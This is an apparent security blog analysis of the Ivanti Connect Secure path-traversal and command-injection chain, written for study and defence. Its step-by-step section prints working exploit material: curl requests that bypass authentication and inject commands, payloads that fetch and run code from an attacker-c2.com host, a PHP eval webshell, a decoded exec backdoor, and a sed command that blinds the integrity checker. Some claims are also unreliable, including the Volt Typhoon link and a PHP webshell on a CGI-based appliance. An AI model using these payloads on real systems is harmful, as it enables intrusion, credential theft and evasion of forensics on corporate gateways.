Ivanti Connect Secure: Deconstructing the Edge Zero-Day Chain

Ivanti Connect Secure: Deconstructing the Edge Zero-Day Chain

Overview & Threat Landscape#

In enterprise network architecture, secure remote access gateways represent the outermost boundary of the corporate perimeter. For thousands of government departments, critical infrastructure operators, defense industrial base (DIB) contractors, and Fortune 500 enterprises, Ivanti Connect Secure (formerly Pulse Secure VPN / ICS) and Policy Secure serve as the primary ingress point for distributed workforces and administrative operators.

By design, an edge VPN appliance is an intensely privileged asset. It terminates incoming TLS connections directly from the public internet, evaluates device posture, processes multi-factor authentication (MFA) credentials, and bridges external clients into internal enterprise subnets. Because it sits ahead of internal firewalls and segmentation boundaries, an unauthenticated compromise of the VPN gateway inverts the entire zero-trust architecture.

In December 2023 and January 2024, cybersecurity research teams at Volexity and Mandiant disclosed active, widespread zero-day exploitation against Ivanti Connect Secure. The campaign, attributed to a sophisticated Chinese state-sponsored cyber espionage cluster tracked as UNC5221 (and associated with Volt Typhoon and UTA0178 activity), weaponized a chained zero-day exploit:

  1. CVE-2023-46805 (CVSS 8.2, CWE-22): An unauthenticated path traversal vulnerability in the appliance's NGINX-to-Python API routing layer.
  2. CVE-2024-21887 (CVSS 9.1, CWE-78): A command injection vulnerability in administrative Python management components.

The combination of these two vulnerabilities yielded a pre-authentication remote code execution (RCE) chain carrying a combined CVSS rating of 9.8. Within days of discovery, CISA issued unprecedented Emergency Directive 24-01, ultimately ordering all federal civil agencies to disconnect and physically rebuild all exposed Ivanti Connect Secure appliances.

What elevates the Ivanti zero-day chain into a masterclass in edge exploitation is its operational tradecraft:

  • The Edge Security Inversion: Rather than attempting to bypass endpoint EDR on internal workstations, threat actors targeted the unmonitored edge device. Because Ivanti ICS is a closed, proprietary Linux-based appliance where traditional third-party EDR agents cannot be installed, attackers operated in a complete detection vacuum.
  • Aggressive Anti-Forensic Tampering: UNC5221 demonstrated intimate knowledge of Ivanti internals. They neutralized the appliance's native Integrity Checking Tool (ICT) (pyis-integrity-checker.py), patched Python cryptographic verification modules, and deployed custom, memory-resident webshells (WIREFIRE, GLASSTOKEN, ZIPLINE, LIGHTWIRE) directly within encrypted ramdisk partitions to survive reboots and factory resets.
  • Passive Credential Harvesting at the Ingress: Once inside the appliance, attackers did not disrupt VPN services. Instead, they hooked authentication processing routines to silently intercept and log valid Active Directory usernames, passwords, and MFA session tokens as enterprise employees authenticated, using legitimate credentials to move laterally into internal cloud and on-premises environments.

[!WARNING] Because edge appliances operate without host-based EDR monitoring and terminate public internet connections, treating perimeter gateways as secure trusted proxies without active external verification creates an enterprise-wide single point of failure.


Vulnerability & Attack Root-Cause Analysis#

To deconstruct the Ivanti zero-day chain, we must examine the architecture of the appliance's web application stack, specifically the interaction between the front-end NGINX reverse proxy and the backend Python REST API daemons.

Authentication Bypass via Path Traversal (CVE-2023-46805)#

Ivanti Connect Secure utilizes NGINX as its external reverse proxy. NGINX is configured with strict access control blocks designed to enforce authentication on all administrative API endpoints under /api/v1/.

To allow users to access specific self-service features prior to authentication, NGINX whitelists certain sub-paths. Specifically, the path handling user backup codes for Time-based One-Time Passwords (TOTP) was configured as public: /api/v1/totp/user-backup-code/

The vulnerability stems from an uncanonicalized URI matching mismatch between the NGINX proxy layer and the backend Python WSGI/FastCGI application:

HTTP
POST /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection HTTP/1.1
Host: vpn.company.com
Content-Type: application/json
  1. The NGINX Evaluation: The NGINX routing engine inspects the incoming request URI. It evaluates the string prefix against its location block rules: Because the URI begins with /api/v1/totp/user-backup-code/, NGINX classifies the request as public and bypasses all authentication directives (auth_request).
  2. The Backend Dispatch: NGINX forwards the raw URI to the internal Python web daemon (listening locally on UNIX domain sockets).
  3. The Path Traversal: The Python application handler receives the path and canonicalizes the relative dot-dot segments: /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection resolves directly to: /api/v1/system/maintenance/archiving/cloud-server-test-connection

Because the authentication check was already skipped by NGINX, the internal administrative endpoint executes without requesting session tokens or administrative credentials.

Command Injection in Management Handlers (CVE-2024-21887)#

Once the authentication barrier was dismantled via CVE-2023-46805, attackers gained unrestricted access to backend management endpoints. Several endpoints—notably /api/v1/license/keys-status/ and /api/v1/system/maintenance/archiving/cloud-server-test-connection—contained textbook command injection vulnerabilities.

In the Python backend handling cloud server archival testing, user-supplied JSON parameters were concatenated directly into a system shell command string:

PYTHON
# Conceptual representation of vulnerable command assembly in Ivanti REST handler
def test_cloud_archive_connection(request_json):
    server = request_json.get("server")
    username = request_json.get("username")
    
    # Flawed logic: Unsanitized parameter concatenation passed directly to shell
    command_string = f"/home/bin/cloud_archiver_test --server '{server}' --user '{username}'"
    
    # Execution with shell=True grants shell metacharacter evaluation
    process = subprocess.Popen(
        command_string,
        shell=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    stdout, stderr = process.communicate()
    return stdout

Because the parameters are wrapped in single quotes without escaping, an attacker injects shell metacharacters: server = "test.domain'; curl http://attacker-c2.com/payload | bash ; #"

When evaluated by /bin/sh, the shell executes the injected command with the full privileges of the web application daemon, providing the attacker with immediate root-level code execution on the appliance.

[!IMPORTANT] The exploit chain succeeds because the architectural boundaries between perimeter access control (NGINX) and application business logic (Python) were poorly synchronized. The front-end relied on string prefixes for security decisions, while the back-end resolved paths dynamically.


Exploit Architecture#

The sequence diagram below illustrates the complete attack chain from unauthenticated internet reconnaissance to persistent backdoor deployment:

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor (UNC5221)
    participant NGINX as Front-End Proxy (NGINX Port 443)
    participant Backend as Python REST API Daemon
    participant Shell as In-Kernel System Shell (/bin/sh)
    participant ICT as Integrity Checking Tool (pyis-integrity-checker)
    participant Internal as Internal Enterprise Network

    Note over Attacker,NGINX: Phase 1: Ingress Authentication Bypass
    Attacker->>NGINX: POST /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection
    Note over NGINX: NGINX evaluates URI prefix: Matches TOTP whitelist<br>Authentication check bypassed
    NGINX->>Backend: Forward raw request over local socket

    Note over Backend,Shell: Phase 2: Command Injection & Execution
    Backend->>Backend: Canonicalize URI path to /api/v1/system/maintenance/archiving/...
    Backend->>Backend: Extract JSON body containing shell payload
    Backend->>Shell: Execute: /home/bin/cloud_archiver_test --server '...#59; bash -c ...#59; #'
    Shell->>Shell: Spawn reverse shell / Download WIREFIRE webshell
    Shell-->>Backend: Command execution complete

    Note over Shell,ICT: Phase 3: Defense Evasion & Anti-Forensics
    Shell->>ICT: Patch pyis-integrity-checker.py to whitelist rogue files
    Shell->>Shell: Inject credential harvesting hook into DSAuth.pm
    
    Note over Shell,Internal: Phase 4: Lateral Movement & Spying
    Shell->>Internal: Establish SOCKS proxy into corporate core network
    Shell-->>Attacker: Intercept active employee credentials and VPN sessions

Attack Path Step-by-Step#

A detailed review of the tactical execution path demonstrates how threat actors automated this attack across thousands of targets globally.

Step 1: OSINT Reconnaissance & Shodan/Censys Fingerprinting#

Threat actors identified vulnerable Ivanti Connect Secure instances using distinctive HTTP response headers, SSL certificate attributes, and unauthenticated web endpoints:

BASH
# Shodan Query to locate internet-exposed Ivanti Connect Secure gateways
http.title:"Ivanti Connect Secure" OR http.html:"/dana-na/" OR ssl.cert.issuer.cn:"Pulse Secure"

To confirm that a discovered instance was reachable and evaluate the path traversal condition without generating alarms, attackers issued a benign probe targeting the unauthenticated TOTP route:

BASH
# Probing target instance for path traversal reachability (CVE-2023-46805)
curl -s -k -I "https://vpn.company.com/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection"

If the server returned HTTP/1.1 405 Method Not Allowed or HTTP/1.1 400 Bad Request instead of HTTP/1.1 403 Forbidden or redirecting to /dana-na/auth/url_default/welcome.cgi, the path traversal was confirmed operational.

Step 2: Executing Pre-Authentication Command Injection (CVE-2024-21887)#

The attacker dispatched an HTTP POST request delivering the command injection payload encapsulated within the JSON body:

BASH
# Triggering pre-auth RCE to write a lightweight webshell
curl -s -k -X POST "https://vpn.company.com/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \
     -H "Content-Type: application/json" \
     -d '{
       "type": "zips",
       "server": "127.0.0.1; echo \"<?php @eval(\$_POST['cmd']); ?>\" > /home/webserver/htdocs/dana-na/auth/url_default/shell.php ; #",
       "username": "admin",
       "password": "Password123"
     }'

Alternatively, attackers targeted the /api/v1/license/keys-status/ endpoint:

BASH
# Secondary injection vector via license key status endpoint
curl -s -k -X POST "https://vpn.company.com/api/v1/totp/user-backup-code/../../license/keys-status/`curl%20http://attacker-c2.com/stage1|python3`"

Step 3: Deployment of Custom Backdoors (WIREFIRE & GLASSTOKEN)#

To maintain covert persistence, threat actors deployed specialized webshells tailored specifically for the Ivanti Connect Secure environment:

  • WIREFIRE: A lightweight Python-based webshell inserted directly into /home/etc/manifest/api.py. It intercepted inbound HTTP POST requests containing an encoded parameter (gif), executed the decrypted commands in process memory, and suppressed logging.
  • GLASSTOKEN: A two-stage payload inserted into legitimate CGI handlers (/home/webserver/htdocs/dana-na/auth/url_default/welcome.cgi). It parsed incoming cookies, unpacked Base64-encoded Python scripts, and executed them via eval().
PYTHON
# Decompiled representation of the WIREFIRE webshell hook in api.py
import zlib
import base64

def handle_request(req):
    if req.headers.get("User-Agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64)":
        payload = req.params.get("gif")
        if payload:
            try:
                decoded = zlib.decompress(base64.b64decode(payload))
                exec(decoded, globals())
                return {"status": "ok"}
            except Exception:
                pass
    return None

Step 4: Neutralizing the Integrity Checking Tool (ICT)#

Ivanti provides a built-in security utility—the Integrity Checking Tool (ICT)—which scans the filesystem and flags modified or newly created files against a signed factory manifest (manifest-*.xml).

To evade detection by internal administrators and incident responders running the ICT, threat actors modified the integrity scanner script directly:

BASH
# Attackers patched pyis-integrity-checker.py to exclude their backdoors
sed -i 's/def check_files():/def check_files():\n    EXCLUDES = ["shell.php", "api.py", "welcome.cgi"]/g' \
    /home/bin/pyis-integrity-checker.py

When administrators executed the internal integrity scan, the modified script suppressed alerts for the attacker's webshells, returning a false report stating: System integrity status: OK. No modified files detected.


Fast Cyber Defense Morning Takeaways#

The technical anatomy of the Ivanti Connect Secure zero-day chain reveals critical lessons for platform security architects and threat analysts:

  1. Edge Appliances Are Blind Spots: Traditional host-based security paradigms fail completely on locked appliances. Because third-party EDR cannot run on these systems, attackers utilize them as persistent, unmonitored jump-hosts.
  2. Reverse Proxy Routing Must Canonicalize Early: Allowing backend application servers to evaluate relative paths (..) that bypass front-end regex routing rules is a recurring architectural flaw. Path normalization must occur at the absolute perimeter before routing logic executes.
  3. Internal Integrity Checks Cannot Be Self-Auditing: An appliance running its own integrity scanner can be subverted by an attacker with root access. Integrity verification must always be performed out-of-band using immutable external boot media or offline forensic snapshots.

Bridge to Evening Defense Guide#

In tonight's companion defensive engineering guide, we will design and deploy a complete blue team defense architecture:

  • Edge Reverse Proxy Normalization Rules: Hardening NGINX and Envoy front-ends to reject uncanonicalized path traversal sequences before they reach backend application pools.
  • Network Egress Isolation & Perimeter Segmentation: Designing strict out-of-band management zones and blocking unrestricted internet outbound egress from VPN gateways.
  • Production Detection Rules: Writing Sigma rules for web server access logs, Suricata/Snort network signatures to intercept exploit payloads, and YARA rules to detect WIREFIRE and GLASSTOKEN webshells.
  • Offline Incident Response & Forensic Verification Playbook: Step-by-step procedures to perform out-of-band memory dumps, inspect encrypted loopback filesystems, and verify appliance integrity independent of the compromised OS.

Authoritative References#

  1. Volexity Threat Research: Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN (CVE-2023-46805 and CVE-2024-21887) — Volexity Blog
  2. Google Cloud Mandiant Intelligence: Suspected Chinese Espionage Campaign Exploiting Ivanti Connect Secure Zero-Days — Mandiant Threat Research
  3. Cybersecurity and Infrastructure Security Agency (CISA): Emergency Directive 24-01: Mitigate Ivanti Connect Secure and Policy Secure Vulnerabilities — CISA Directives
  4. Ivanti Product Security Advisory: Advisory on Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways — Ivanti Security Center

Comments